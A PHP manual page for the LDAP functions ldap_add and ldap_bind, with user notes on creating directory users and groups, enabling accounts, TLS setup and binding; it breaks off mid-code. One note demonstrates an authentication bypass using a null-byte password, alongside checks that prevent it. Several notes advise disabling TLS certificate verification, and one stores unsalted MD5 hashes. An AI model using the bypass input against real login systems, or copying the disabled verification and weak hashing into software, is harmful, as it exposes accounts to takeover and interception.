
This is code example creates a user i AD.
We use this on an internal web page to create
temporary users that kan access the wireless network.
We have a .pl script that deletes the users after 24H.
Willie 15-Aug-2007 11:16
In response to:
Note that you cannot use base64 encoding, you have to use utf-8 encoding for special chars instead.
--

I have found that if I have a special character (or a newline) that ldap_add and ldap_modify will automatically do the base64 encoding for you.  For example:

<?php
// assuming binding is done, etc.
$entry['postalAddress'] = "123 East 456 West\nSuite A103";
ldap_modify($ds, $dn, $entry);
?>

The function or server will take the newline and convert it into base64 automatically (same goes for other special characters).

You may be able to verify by using a command-line ldapsearch
ldapsearch -b "dc=example,dc=com" -x "(cn=Example Person)" postalAddress

You'll see that the result comes up as
dn: cn=Example Person,dc=example,dc=com
postalAddress:: MTIzIEVhc3QgNDU2IFdlc3QKU3VpdGUgQTEwMw==

See the double colons after postal address?  That's how LDAP states it's base64 encoded in this case.
damien at groovey dot com 19-Dec-2006 11:08
Here is how to add a user with a hashed MD5 password to OpenLDAP.  I used this technique to migrate Drupal accounts into OpenLDAP for a single-sign-on solution.

The trick to it is to tell OpenLDAP the hash type (e.g. {MD5}) before the password, and also to base64 encode the BINARY hashed result.  You cannot just base64 encode what is returned by PHP's md5() or sha() hash functions, because they return a hexadecimal text string.  First you must use pack("H*", $hash_result) to make that a binary string, THEN you can base64 encode it.

Here is complete code for connecting and adding a user with a hashed password.  You don't have to use {MD5}, you could pick a different hash if that is what you have.  The output from one of these hashed passwords will look like this:  {md5}bdwD04RS9xMDGVi1n/H36Q==

Finally some caveats:  This technique will not work if you hashed the password using a salt value (but Drupal does not).  This technique will also certainly not work with active directory, where passwords can definitely only be set over SSL connections and hashing probably works differently.

---- snip ----

$ds = ldap_connect($serverAddress);
if ($ds) {
  ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);  // otherwise PHP defaults to ldap v2 and you will get a Syntax Error!
  $r = ldap_bind($ds, $managerDN, $managerPassword);
  $ldaprecord['cn'] = $newuser_username;
  $ldaprecord['givenName'] = $newuser_firstname;
  $ldaprecord['sn'] = $newuser_surname;
  // put user in objectClass inetOrgPerson so we can set the mail and phone number attributes
  $ldaprecord['objectclass'][0] = "person";
  $ldaprecord['objectclass'][1] = "organizationalPerson";
  $ldaprecord['objectclass'][2] = "inetOrgPerson";
  $ldaprecord['mail'] = $newuser_email_address;
  $ldaprecord['telephoneNumber'] = $newuser_phone_number;
  // and now the tricky part, base64 encode the binary hash result:
  $ldaprecord['userPassword'] = '{MD5}' . base64_encode(pack('H*',$newuser_md5hashed_password));
  // If you have the plain text password instead, you could use:
  // $ldaprecord['userPassword'] = '{MD5}' . base64_encode(pack('H*',md5($newuser_plaintext_password)));
  $r = ldap_add($ds, $base_user_dn, $ldaprecord);
} else { die "cannot connect to LDAP server at $serverAddress."; }
chad dot smith at 50marketing dot com 29-Sep-2005 11:56
I took spam2004 at turniton dot dk example and made it a bit better.  Maybe my setup was a bit different but either way here is how I added a group in Microsoft Windows Server 2003.

<?php
// Connect using ldap_connect
// Bind using ldap_bind
// Set LDAP_OPT_PROTOCOL_VERSION to 3
$member_array = array();
$member_array[0] = "cn=user1,cn=Users,dc=yourdomain,dc=com";
$member_array[1] = "cn=administrator,cn=Users,dc=yourdomain,dc=com";

$addgroup_ad["cn"] = "testgroup";
$addgroup_ad["samaccountname"] = "testgroup";
$addgroup_ad["objectClass"] = "Group";
$addgroup_ad["description"] = "Yep just a test.";
$addgroup_ad["member"] = $member_array;
$base_dn = "cn=testgroup,cn=Users,DC=yourdomain,DC=com";
ldap_add($ldap_conn,$base_dn,$addgroup_ad);
// This is it.
?>

Take care and good luck,
Chad R. Smith
theiderich AT laweekly dot com 15-Jul-2005 07:19
When adding/editing attributes for a user, keep in mind that the 'memberof' attribute is a special case.  The memberOf attribute is not an accessible attribute of the user schema. To add someone to a group, you have to add the user in the group, and not the group in the user. You can do this by accessing the group attribute 'member':

<?php

$group_name = "CN=MyGroup,OU=Groups,DC=example,DC=com";
$group_info['member'] = $dn; // User's DN is added to group's 'member' array
ldap_mod_add($connect,$group_name,$group_info);

?>
micattack+phpnet at gmail dot com 02-May-2005 03:32
When getting the dreaded invalid syntax, it helps turning on debugging in ldap. Looking at /var/log/ldap, gets you things like

May  2 13:51:21 tux slapd[12985]: conn=4934 op=1 RESULT tag=105 err=21 text=phpgwtz: value #0 invalid per syntax
May  2 13:52:02 tux slapd[12697]: No objectClass for entry (uid=1, ou=adressen, dc=...
hp at syntomax dot com 29-Oct-2004 03:31
Another fun thing: ldap_add() doesn't like arrays with empty members: so
array (
      [cn] = "name"
      [key] = ""
      [anotherkey] = "value"
)
will yield a syntax error!

solve this with a simple peice of code:

foreach ($originalobject as $key => $value){
        if ($value != ""){
                $object[$key] = $value;
        }
}

where $originalobject is the uncecked array and $object is the one without empty members.
amcnabb 21-Oct-2004 11:37
Be careful with types.  PHP switches automatically between strings and numbers, but LDAP doesn't, and PHP will send whatever is most convenient for PHP, not LDAP, unless you specify a type.

If you inadvertently send a number as a string, you will get an error: "ldap_add(): Add: Invalid syntax in [filename] on line LINENUM."

Observe this example which makes an array to send to LDAP to create a POSIX group.  Note that $new_groupid, which is technically a string, must be typecast with (int).

         $new_ldap_group['cn'] = $groupname;
         $new_ldap_group['objectclass'][0] = 'posixgroup';
         $new_ldap_group['objectclass'][1] = 'top';
         $new_ldap_group['gidnumber'] = (int) $new_groupid;
spam2004 at turniton dot dk 04-Oct-2004 01:06
To add a group in Windows AD..
$object_name="testgroup2";
$members[]="CN=THU,ou=Users,dc=addomain,dc=domain,dc=dk";
$members[]="CN=testgroup2,ou=Groups,dc=addomain,dc=domain,dc=dk";
$addgroup_ad['cn']="$object_name";
$addgroup_ad['objectClass'][0] = "top";
$addgroup_ad['objectClass'][1] ="group";
$addgroup_ad['descripton']=$object_description;
$addgroup_ad['member']=$members;
$addgroup_ad["sAMAccountName"] =$object_name;

// notice param 2 (dn) will probably be different
$dn="cn=".$object_name.",ou=Groups,dc=addomain,dc=domain,dc=dk";
ldap_add($ldapc,$dn,$addgroup_ad);
ondrej dot duchon at t-systems dot cz 14-Jan-2004 03:49
IF you need use national characters (iso 8859-2,8 etc.) it's good way to use  ldap_set_option.
It was hard job to find where is a bug ;-))). I hope that helps somebody.

 ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
ondrej dot duchon at t-systems dot cz 14-Jan-2004 01:58
jharnett at artschool dot com:
For active user in AD u must change "useraccountcontrol" to 512, 512 = enabled, 514 = disabled
Andrew (a.whyte at cqu.edu.au) 25-Sep-2003 04:49
In reference to the questions about Account Enabling, you can use the table found at Microsoft's Support site to help with these attributes.

You are correct that '2' is the Account Disabled flag, but there are others, which allow you to detect/set password force expiry and the like.

Hope this URL is usefull for that:

http://support.microsoft.com/default.aspx?scid=kb;en-us;305144

Cheers.
John Van Atta 20-May-2003 03:52
In response to jharnett's question about accounts disabled by default from ldap_add, we have found a solution.

The attribute userAccountControl contains a value that includes whether the account is disabled or enabled. The default for us is 546; when we changed that to 544 the account became enabled. Changing whatever value is in userAccountControl by 2 seems to enable or disable the account.

The following code worked for us to create a new user with an enabled account:

$adduserAD["userAccountControl"] = "544";

We just added this element to the above example's array.
Axel D. (FRANCE) 04-Mar-2003 05:26
Try this script if you don't know how to add an user in the AD Win2K.
To have more informations about the attributes, open the adsiedit console in the Support Tools for Win2K.

$adduserAD["cn"][0] =
$adduserAD["instancetype"][0] =
$adduserAD["samaccountname"][0] =
$adduserAD["objectclass"][0] = "top";
$adduserAD["objectclass"][1] = "person";
$adduserAD["objectclass"][2] = "organizationalPerson";
$adduserAD["objectclass"][3] = "user";
$adduserAD["displayname"][0] =
$adduserAD["name"][0] =
$adduserAD["givenname"][0] =
$adduserAD["sn"][0] =
$adduserAD["company"][0] =
$adduserAD["department"][0] =
$adduserAD["title"][0] =
$adduserAD["description"][0] =
$adduserAD["mail"][0] =
$adduserAD["initials"][0] =
$adduserAD["samaccountname"][0] =
$adduserAD["userprincipalname"][0] =
$adduserAD["profilepath"][0] =
$adduserAD["manager"][0] = ***Use DistinguishedName***

if (!($ldap = ldap_connect("localhost"))) {
     die ("Could not connect to LDAP server");
}
if (!($res = @ldap_bind($ldap, "user@pc.com", $password))) {
     die ("Could not bind to the LDAP account");
}
if (!(ldap_add($ldap, "CN=New User,OU=OU Users,DC=pc,DC=com", $adduserAD))){
     echo "There is a problem to create the account
     echo "Please contact your administrator !";
     exit;
}
ldap_unbind($ldap);
jharnett at artschool dot com 22-Oct-2002 11:43
For some wacky reason, when the new account is added using ldap_add(), the account is set to "inactive".
And from what I can see there is no modifiable attribute to "re-enable" that user. I suppose by default, if the specific flags are not set the default values are used. Anyone that has a fix for this, please post, I'm pulling out what little hair I have left.
del at babel dot com dot au 24-Jun-2002 06:55
If you need to add an attribute that is binary encoded (eg: userCertificate), then you need to add the ";binary" specification at the end of the field name.

eg:

$info["userCertificate;binary"] = $myBinaryCert;
$ldap_add ...

Del
titus dot stahl at experts4 dot com 30-Aug-2001 03:53
Note that you cannot use base64 encoding, you have to use utf-8 encoding for special chars instead.
akohlsmith at mixdown dot org 13-Sep-1999 01:48
ldap_add() will only honour the $entry["attribute"][x]="value" *if there are multiple values for the attribute*.  If there is only one attribute value, it *MUST* be entered as $entry["attribute"]="value" or ldap_add() sets the value for the attribute to be "Array" instead of what you put into $entry["attribute"][0].

Here is a little routine I wrote up to do this automatically.  when you're parsing the input, just use multi_add():
<?php
function multi_add($attribute, $value)
{
 global $entry;                                // the LDAP entry you're gonna add

 if(isset($entry[$attribute]))
   if(is_array($entry[$attribute]))
     $entry[$attribute][count($entry[$attribute])] = $value;
   else
     {
     $tmp = $entry[$attribute];
     unset($entry[$attribute]);
     $entry[$attribute][0] = $tmp;
     $entry[$attribute][1] = $value;
     }
 else
   $entry[$attribute] = $value;
}
?>
multi_add() checks to see if there is already a value for the attribute.  if not, it adds it as $entry[$attribute]=$value.  If there is already a value for the attribute, it converts the attribute to an array and adds the multiple values correctly.

How to use it:
<?php
switch($form_data_name)
      {
      case 'phone': multi_add("telephoneNumber", $form_data_value); break;
      case 'fax': multi_add("facsimileTelephoneNumber", $form_data_value); break;
      case 'email': multi_add("mail", $form_data_value); break;
      ...
      }
?>
In the system I designed the form has pulldowns with names ctype1, ctype2, ctype3, etc. and the values are "fax, mail, phone...".  The actual contact data (phone number, fax, email, etc) is contact1, contact2, contact3, etc.  The user pulls down what the contact type is (phone, email) and then enters the data (number, address, etc.)

I use variable variables to fill the entry and skip blanks.  Makes for a very clean form entry system.  email me if you're interested in it, as I think I'm outgrowing the size of note allowed here.  :-)


Bind to LDAP directory

  • « ldap_add
  • ldap_close »
  • PHP Manual
  • LDAP Functions
  • Bind to LDAP directory

ldap_bind

(PHP 4, PHP 5)

ldap_bind — Bind to LDAP directory

Description

bool ldap_bind ( resource $link_identifier [, string $bind_rdn = NULL [, string $bind_password = NULL ]] )

Binds to the LDAP directory with specified RDN and password.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

bind_rdn

bind_password

If bind_rdn and bind_password are not specified, an anonymous bind is attempted.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Using LDAP Bind

<?php

// using ldap bind
$ldaprdn  = 'uname';     // ldap rdn or dn
$ldappass = 'password';  // associated password

// connect to ldap server
$ldapconn = ldap_connect("ldap.example.com")
    or die("Could not connect to LDAP server.");

if ($ldapconn) {

    // binding to ldap server
    $ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass);

    // verify binding
    if ($ldapbind) {
        echo "LDAP bind successful...";
    } else {
        echo "LDAP bind failed...";
    }

}

?>

Example #2 Using LDAP Bind Anonymously

<?php

//using ldap bind anonymously

// connect to ldap server
$ldapconn = ldap_connect("ldap.example.com")
    or die("Could not connect to LDAP server.");

if ($ldapconn) {

    // binding anonymously
    $ldapbind = ldap_bind($ldapconn);

    if ($ldapbind) {
        echo "LDAP bind anonymous successful...";
    } else {
        echo "LDAP bind anonymous failed...";
    }

}

?>

See Also

  • ldap_unbind() - Unbind from LDAP directory

User Contributed Notes

john dot doe at somewhere dot org 20-Jun-2014 02:53
In some structures its not possible to know the dn or rdn up front. However one can use $ldapuser= $samaccountname.'@'.domainname;
inakma87 at gmail dot com 20-Feb-2014 05:19
Getting an error "Can't contact LDAP server"
Solved by adding:
TLS_CACERTDIR /etc/openldap/cacerts
TLS_CACERT /etc/openldap/ssl/cacert.pem
deniskutin at gmail dot com 11-Jul-2012 09:07
It's nessesary to add:

<?php
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)
?>

for ldap_bind returned true, while you try to bind for openldap (at least version 2.4.21)
peter dot schlaf at web dot de 20-Jun-2012 09:43
I had a problem doing a ldap_bind over SSL against Active Directory. The server kept telling me: 'Unable to bind to server:'. To solve this (OS: CentOS 6) make sure that /etc/openldap/ldap.conf has this line:

TLS_REQCERT allow
IanB 03-Jan-2012 09:38
If you're using SSL (e.g. ldaps) and ldap_bind is throwing 'Unable to bind to server:' errors, check that the hostname used in the ldap_connect matches the 'CN' in the SSL certificate on the LDAP server. For example:

<?
   ldap_connect('ldaps://ldap01');
  // 'ldap01' should match the CN in your LDAP server's SSL cert, otherwise the subsequent ldap_bind() will throw a bind error

?>

You can check your LDAP server's SSL cert using Openssl utility (Linux) - look for the 'Subject' line:

   $ openssl x509 -in /etc/pki/tls/certs/ldap01.crt -text -noout
   ...
        Subject: C=XY, ST=My State, L=My City, O=My Org, CN=ldap01/emailAddress=me@domain.com
   ...

I recently applied some updates to my system (now Centos 5.7 and PHP 5.3.6) and started having this issue with PHP scripts that had been fine previously where I was simply using the IP address of the server. Replacing the IP address with the hostname fixed my issue.
marnijt at LIKEHAM dot gmail dot com 01-Sep-2011 01:46
After a lot of trail and error i've found the way to authenticate to apple's Opendirectory (snow leopard server) and thought it maybe useful to share.

<?php
    // using ldap bind
    $ldaprdn  = 'uid=USERNAME,cn=users,dc=HOSTNAME,dc=DOMAIN,dc=com';     // ldap rdn or dn
    $ldappass = 'PASSWORD';  // associated password

    // connect to ldap server
    $ldapconn = ldap_connect("HOSTNAME.DOMAIN.com")
            or die("Could not connect to LDAP server.");

    // Set some ldap options for talking to
    ldap_set_option($ldapconn, LDAP_OPT_PROTOCOL_VERSION, 3);
    ldap_set_option($ldapconn, LDAP_OPT_REFERRALS, 0);

    if ($ldapconn) {

            // binding to ldap server
            $ldapbind = @ldap_bind($ldapconn, $ldaprdn, $ldappass);

            // verify binding
            if ($ldapbind) {
                echo "LDAP bind successful...\n";
            } else {
                echo "LDAP bind failed...\n";
            }

    }

?>
bydand1959 at yahoo dot com 24-Jul-2011 01:16
LDAP control support is missing from this implementation. Response controls might be part of the response(s) to the BIND request and must be handled in code.
gtkspert_SPAMMENOT_ at gmail dot com 22-Mar-2011 02:31
Interesting point,

if you can't bind to active directory with the error "49: Invalid Credentials", you can get the extended error output from the ldap_get_option function, using the option: LDAP_OPT_DIAGNOSTIC_MESSAGE. Unfortunately php hasn't defined this by default, but it's value is 0x0032.

This is useful if a user must change their password at first login (Data: 773), or if their account has expired on the network (Data: 532).

<?php

define(LDAP_OPT_DIAGNOSTIC_MESSAGE, 0x0032)

$handle = ldap_connect('ldap://active.directory.server/');
$bind = ldap_bind($handle, 'user', 'expiredpass');

if ($bind) {
    if (ldap_get_option($handle, LDAP_OPT_DIAGNOSTIC_MESSAGE, $extended_error)) {
        echo "Error Binding to LDAP: $extended_error";
    } else {
        echo "Error Binding to LDAP: No additional information is available.";
    }
}
?>

Or something to that effect..

It took me a while to work this one out, so i figured i'd share my results..
elsint at yahoo dot com 16-Dec-2010 11:00
If you are still having trouble after following all the instructions on the Web to get LDAPS to work, here's what worked for me:

I was trying to do LDAPS connection (our LDAP server was using port 40636) by running following command:

ldap_connect("www.example.com",40636)

This didn't work for days till I changed it to the following format:

ldap_connect("ldaps://www.example.com:40636")

Hope it'll help some out there.

-Cagdas
magnetik at magnetik dot org 26-Oct-2010 09:27
Due to a bug in PHP 5.3 you may have to place the ldap.conf in the root of all your drives (I had to place it on D:).

See http://bugs.php.net/bug.php?id=48866
[nie ten]archie 10-Jun-2010 01:48
I'm using OpenLDAP on linux and found out the right bind sequence the hard way... so I'm sharing it with you:

(wkaiser solution is ok if everything works fine, but for development I would suggest using ldap_error command like this)

<?php
$ldapconfig['host'] = '10.10.10.10';
$ldapconfig['port'] = NULL;
$ldapconfig['basedn'] = 'dc=company,dc=com';

$ds=ldap_connect($ldapconfig['host'], $ldapconfig['port']);

$dn="uid=".$username.",ou=people,".$ldapconfig['basedn'];

if ($bind=ldap_bind($ds, $dn, $password)) {
  echo("Login correct");
} else {

  echo("Unable to bind to server.</br>");

  echo("msg:'".ldap_error($ds)."'</br>");#check if the message isn't: Can't contact LDAP server :)
  #if it say something about a cn or user then you are trying with the wrong $dn pattern i found this by looking at OpenLDAP source code :)
  #we can figure out the right pattern by searching the user tree
  #remember to turn on the anonymous search on the ldap server
  if ($bind=ldap_bind($ds)) {

    $filter = "(cn=*)";

    if (!($search=@ldap_search($ds, $ldapconfig['basedn'], $filter))) {
      echo("Unable to search ldap server<br>");
      echo("msg:'".ldap_error($ds)."'</br>");#check the message again
    } else {
      $number_returned = ldap_count_entries($ds,$search);
      $info = ldap_get_entries($ds, $search);
      echo "The number of entries returned is ". $number_returned."<p>";
      for ($i=0; $i<$info["count"]; $i++) {

        var_dump($info[$i]);#look for your user account in this pile of junk and apply the whole pattern where you build $dn to match exactly the ldap tree entry
      }
    }
  } else {
    echo("Unable to bind anonymously<br>");
    echo("msg:".ldap_error($ds)."<br>");
  }
}
?>

as you can see most of the examples use "cn=username" and OpenLDAP uses "uid=username" but who knows what will be used in the future builds, this code will help you check it out (I hope :)
ben _at_ onshop_co_uk 11-Nov-2009 08:16
I tried using putenv() to point LDAP to the certificate path etc.

putenv("TLS_CACERT=/path/to/certificate");
putenv("TLS_REQCERT=never");

This did not work for me. It has to be in the Apache configuration or LDAP configuration:

LDAP CONFIGURATION

Put these values in ldap.conf:

TLS_CACERT /path/to/certificate
TLS_REQCERT never

The path varies on UNIX systems.

On Windows it is C:\openldap\sysconf\ldap.conf

APACHE CONFIGURATION

Add these values to httpd.conf:

LDAPTrustedGlobalCert <encryption method> /path/to/certificate
LDAPVerifyServerCert Off

The encryption method I was using was 'CA_BASE64'. Check the encryption method with your LDAP/AD sysadmin.
spam[AT]it-blog[DOT]net 04-Sep-2009 04:18
When using LDAP with SSL and a LDAP server which uses a self-signed SSL certificate normally no connection will be established. Therefor you have to allow such connections explicitly.
With Linux (e.g. Debian, Ubuntu) you have to add "TLS_REQCERT never" to your /etc/ldap/ldap.conf. On other distributions this config file may be located somewhere else.
taomanjay at _DIESPAM_gmail dot com 09-Feb-2009 11:36
Just a quick and easy function to authenticate against an AD domain controller:

<?php
function ad_auth( $server, $username, $password ){
        $ldap = @ldap_connect( $server );

        if ( @ldap_bind( $ldap, $username, $password ) ){
                ldap_unbind( $ldap );
                return 1;
                }
        else{
                return 0;
                }
        }
?>
juan[dot]pineda[at]resultstel.com 07-Jan-2009 05:27
Active Directory doesn't accept anonymous requests anymore.

With Windows Server 2003, only authenticated users may initiate an LDAP request against Windows Server 2003-based domain controllers. You can override this new default behavior by changing the seventh character of the dsHeuristics attribute on the DN path as follows:
CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,Root domain in forest

from: http://support.microsoft.com/kb/326690
james at NOSPAM dot revillini dot com 27-Oct-2008 03:55
I couldn't get ldap_bind to work on an ldaps connection until I followed some instructions about creating an ldap.conf file.  I don't see these instructions anywhere on the php site.  Maybe they're on the OpenLDAP site, but I thought it would be useful to have here as well.  Credit goes to a dude known as 'LRM', and I found my solution here: http://lists.horde.org/archives/sork/Week-of-Mon-20040503/001578.html

My setup is XAMPP on Win XP.
###### ApacheFriends XAMPP (basic package) version 1.6.3a ######

  + Apache 2.2.4
  + MySQL 5.0.45
  + PHP 5.2.3 + PHP 4.4.7 + PEAR
  + PHP-Switch win32 1.0 (please use the "php-switch.bat")
  + XAMPP Control Version 2.5 from www.nat32.com
  + XAMPP Security 1.0
  + SQLite 2.8.15
  + OpenSSL 0.9.8e
  + phpMyAdmin 2.10.3
  + ADOdb 4.95
  + Mercury Mail Transport System v4.01b
  + FileZilla FTP Server 0.9.23
  + Webalizer 2.01-10
  + Zend Optimizer 3.3.0
  + eAccelerator 0.9.5.1 for PHP 5.2.3  (comment out in the php.ini)

1. create C:\OpenLDAP\sysconf\ldap.conf (Yes, it MUST be this path because it's hard-coded in the dll)
2. put this line at the top:

TLS_REQCERT never

3. Save, stop/start apache.

The reason is, I think, because it doesn't understand the certificate, so this directive tells it to not bother checking it.  I guess that could be unsafe in some cases, but in my case I'm confident with the server I'm connecting to.

My connection code was as follows (nothing new here, I don't think):

<?php
$con = @ldap_connect('ldaps://the.ldap.server', 636);
ldap_set_option($con, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($con, LDAP_OPT_REFERRALS, 0);
var_dump(@ldap_bind($con, 'user@sub.domain.com', 'password'));
?>

Good luck!  LDAPS can be a real bitch.
Devia dot Fan at gmail dot com 23-Jun-2008 07:12
Hi All, I just thought people should realize that the bug, or whatever change that was implemented with slapd and Openldap for the version V3 protocol has either not been repaired, or isn;t believed to be a bug or whatever...but still requires an implicit setting to V3 for use of the ldap_bind function. I am using Apache 2 and PHP 5.1 with LDAP 2. The default is set to deny V2 protocol, and even reconfiguring the slapd config file will not fix the problem.

You must still use the ldap_set_option function.

EX:

<?php
    $ldapHost = "ldap://server";
        $ldapPort = "port";
    $ldapUser ="cn=name,dc=domain";
    $ldapPswd ="password";

$ldapLink =ldap_connect($ldapHost, $ldapPort)
    or die("Can't establish LDAP connection");

if (ldap_set_option($ldapLink,LDAP_OPT_PROTOCOL_VERSION,3))
{
    echo "Using LDAP v3";
}else{
    echo "Failed to set version to protocol 3";
}

ldap_bind($ldapLink,$ldapUser,$ldapPswd)
    or die("Can't bind to server.");

?>

Thanks to Ken on below for showing the way. There was a slight code error in what he chose as his link_id, but thats all. This code above worked nice and shinny, and demonstrates we are still working with 2004 problems. I wish they would update this in the code above.
Nicolas Van Lancker 03-Sep-2007 11:46
It seems that Active Directory stores information in UTF8 format.

I needed to utf8_encode() the username and password otherwise the bind failed when a user has accented characters in his password...
Josh A. 20-Jul-2007 04:29
The OpenLDAP libraries will return error 53 (Server unwilling to perform) when trying to re-bind to a non-anonymous account if you accidentally leave the password field blank. If you want to authenticate against a different field than the dn, you have to bind to the server twice. Your code may look like the following:

<?
function ldapLogin($uname, $pass, $base_dn, $fname, $server, $port){
    $ldc=@ldap_connect($server, $port);
    if (!$ldc) return ERROR_CODE;

    $bn='cn=anonymous-user,'.$base_dn;
    $pw='anonymous-pass';
    $lbind=@ldap_bind($ldc, $bn, $pw);
    if (!$lbind) return ERROR_CODE;

    $ureturn=@ldap_search($ldc, $base_dn, "($fname=$uname)", array('dn', 'givenName', 'sn', 'mail'));

    $uent=@ldap_first_entry($ldc, $ureturn);
    if (!$uent) return ERROR_CODE;

    $bn=@ldap_get_dn($ldc, $uent);

    //This line should use $pass rather than $password
    $lbind=@ldap_bind($ldc, $bn, $password);
    // Now you can find the error
    echo ldap_error($ltc);

    if ($lbind) return true; else return false;
?>

Hope this helps someone else running in to the same error.
Teemu 29-Mar-2007 09:44
Example of connecting and searching AD

$con = ldap_connect('ad.domain.com');
ldap_set_option($con, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($con, LDAP_OPT_REFERRALS, 0);
ldap_bind($con, 'user@DOMAIN.COM', 'clear password');

ldap_search($con, 'DC=domain,DC=com', '(uniqueMember=user)');
alex dot everett at okstate dot edu 07-Mar-2007 09:19
A number of examples and implementations of authentication schemes which use LDAP simple binds to authenticate users fail to properly sanitize user-submitted data. This can allow for an anonymous user to authenticate to a web-based application as an existing user. Provided below is a brief description and example of how this vulnerability can arise. For more detailed information please visit the links at the bottom of this posting.

The bind operation of LDAP, as described in RFC 4513, provides a method which allows for authentication of users. For the Simple Authentication Method a user may use the anonymous authentication mechanism, the unauthenticated authentication mechanism, or the name/password authentication mechanism. The unauthenticated authentication mechanism is used when a client who desires to establish an anonymous authorization state passes a non-zero length distinguished name and a zero length password. Most LDAP servers either can be configured to allow this mechanism or allow it by default. Web-based applications which perform the simple bind operation with the client's credentials are at risk when an anonymous authorization state is established. This can occur when the web-based application passes a distinguished name and a zero length password to the LDAP server.
This is commonly encountered when no password is provided from the client to the web-based application. This situation is described in some of the postings found below. For this situation, the recommendations found in other postings is sufficient to prevent authentication bypass.
However, no prior postings at php.net describe a situation in which a client may pass a distinguished username and a password of non-zero length to the web-based application which results in an anonymous authorization state. Below is an example of this situation.

$dn="testuser";
$pass="\x00\x41";
if (empty($dn) or empty($pass)) { exit(); } //check for empty strings
//if (preg_match('/[^a-zA-Z]/',$dn) or preg_match('/[^a-zA-Z0-9\x20!@#$%^&*()]/',$pass)) { exit(); } //check for expected values (whitelisting)
//if (preg_match('/\x00/',$dn) or preg_match('/\x00/',$pass)) { exit(); } //check for null byte (blacklisting)
$ldapconn=ldap_connect("192.0.2.2") or die("Could not connect to LDAP server.");
if ($ldapconn) {
        ldap_set_option($ldapconn, LDAP_OPT_PROTOCOL_VERSION, 3);
        $ldapbind=ldap_bind($ldapconn, $dn, $pass);
        if ($ldapbind) {
                echo("success");
        } else {
                echo("fail");
                }
        }

References:
http://security.okstate.edu
john dot hargrove at sellingsource dot com 02-Feb-2007 12:09
Note that you have to specify the protocol version prior to making a call to ldap_bind, when the server is expecting LDAP protocol version 3.  If you do not, you will receive a warning and fail to bind, such as:

ldap_bind(): Unable to bind to server: Protocol error

In order to avoid this, make this call:

<?php
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
?>

Where $ds is the result returned by ldap_connect(...);
david dot marsh at hartfordlife dot com 08-Aug-2006 09:49
had to do a bunch of research on this, but it does work, once config'd correctly.

using Apache/2.2.3 (Win32) mod_ssl/2.2.3 OpenSSL/0.9.8b
PHP PHP Version 5.1.5-dev

ldap_bind was getting "81 Can't contact LDAP server" which was really annoying, since the connection worked fine without "ldaps"
using:

$ldapconnect = @ldap_connect( $connection_string );

well, actually the bind was really the one failing...

$bind = ldap_bind($ldapconnect, $client, $this->objSecurityLogin->Password);

many attempts to determine until i smartened up and turned on the trace level:

ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);

which must go before the connect!

found that on windows, you can't specifiy a quote in the ldap.conf:
i had:
TLS_REQCERT never
TLS_CACERT "C:\\Documents\\Tools\\Apache2\\conf\\ssl\\ad.pem"
which throws the error..
TLS: could not load verify locations (file:`"C:\Documents\Tools\Apache2\conf\ssl\ad.pem"',dir:`').
TLS: error:0200107B:system library:fopen:Unknown error .\crypto\bio\bss_file.c:122
TLS: error:2006D002:BIO routines:BIO_new_file:system lib .\crypto\bio\bss_file.c:127
TLS: error:0B084002:x509 certificate routines:X509_load_cert_crl_file:system lib .\crypto\x509\by_file.c:274
ldap_err2string

changed to:
TLS_REQCERT never
TLS_CACERT C:\\Documents\\Tools\\Apache2\\conf\\ssl\\ad.pem
which cleans it up as:
TLS trace: SSL_connect:before/connect initialization
TLS trace: SSL_connect:SSLv2/v3 write client hello A
TLS trace: SSL_connect:SSLv3 read server hello A
TLS certificate verification: depth: 1, err: 0, subject: /DC=xxx/DC=yyy/CN=zzzz, issuer: /DC=abab/DC=yyy/CN=zzzz
TLS certificate verification: depth: 0, err: 0, subject: ......

so the moral to the story is even though PHP wants quotes in some windows config parms, it won't work if its in ldap.conf!
romerom at cox dot net 12-Jul-2006 11:43
I ran into an issue trying to bind as "cn=manager,dc=example,dc=com".  I took the example kenn posted where he set LDAP_OPT_PROTOCOL_VERSION to "3" for the connection.  Once I set this, I was able to bind with my manager id.
dedlfix 03-May-2006 09:36
It doesn't make much sense to let die() the script in case of an error, otherwise to ask if there were no errors before proceeding the script, as the official examples do.

better:

<?php
ldap_bind(...) or die(...);
do_something();
?>

or even better (die() is quick but dirty)

<?php
if (!ldap_bind(...)) {
  error();
} else {
  do_something();
}
?>
baroque at citromail dot hu 05-Nov-2005 10:18
This code sample shows how to connect and bind to eDirectory in PHP using LDAP for Netware.

<?php

$server='137.65.138.159';
$admin='cn=admin,o=novell';
$passwd='novell';

$ds=ldap_connect($server);  // assuming the LDAP server is on this host

if ($ds) {
    // bind with appropriate dn to give update access
    $r=ldap_bind($ds, $admin, $passwd);
    if(!$r) die("ldap_bind failed<br>");

    echo "ldap_bind success";
    ldap_close($ds);
} else {
    echo "Unable to connect to LDAP server";
}
?>
18-Oct-2005 08:47
When using Active Directory 2003 (possibly also 2000) you can't search anonymously so you have to bind with a (known) user and password. Or else you will get an Search operations error. I also can confirm that an empty password bind succeeds! So test for an empty password first!

Some excellent information is found here:
http://www.scit.wlv.ac.uk/~jphb/sst/php/extra/ldap.html
http://www.scit.wlv.ac.uk/~jphb/sst/basics/ldap.html
darkstar_ae at hotmail dot com 15-Sep-2005 09:03
This may be a security issue but after tinkering for hours with the below ldap auth function (edi01 at gmx dot at), I discovered that the ldap_bind function will return true if you enter a valid username AND a NULL value!

so if that function were to receive something like $username = 'someuser' and $password = '', it would return true. As long as it isn't a null value the function will work as expected. Might as well check if it is null or empty then.
get_your_gun at hotmail dot com 23-Aug-2005 08:33
Hey

I was trying this all day and final noticed that when you use bind and authenticate. The user name needs to be as follows for it to work. I am using PHP V 4.03 so this might be different now but here is what I used and the auth worked.

<?php
$ldaphost = "ldap.what.at.greatnet.com";
$ldapport = 389;

$ds = ldap_connect($ldaphost, $ldapport)
or die("Could not connect to $ldaphost");

if ($ds)
{
    $username = "johndoe@what.at.greatnet.com";
    $upasswd = "pass";

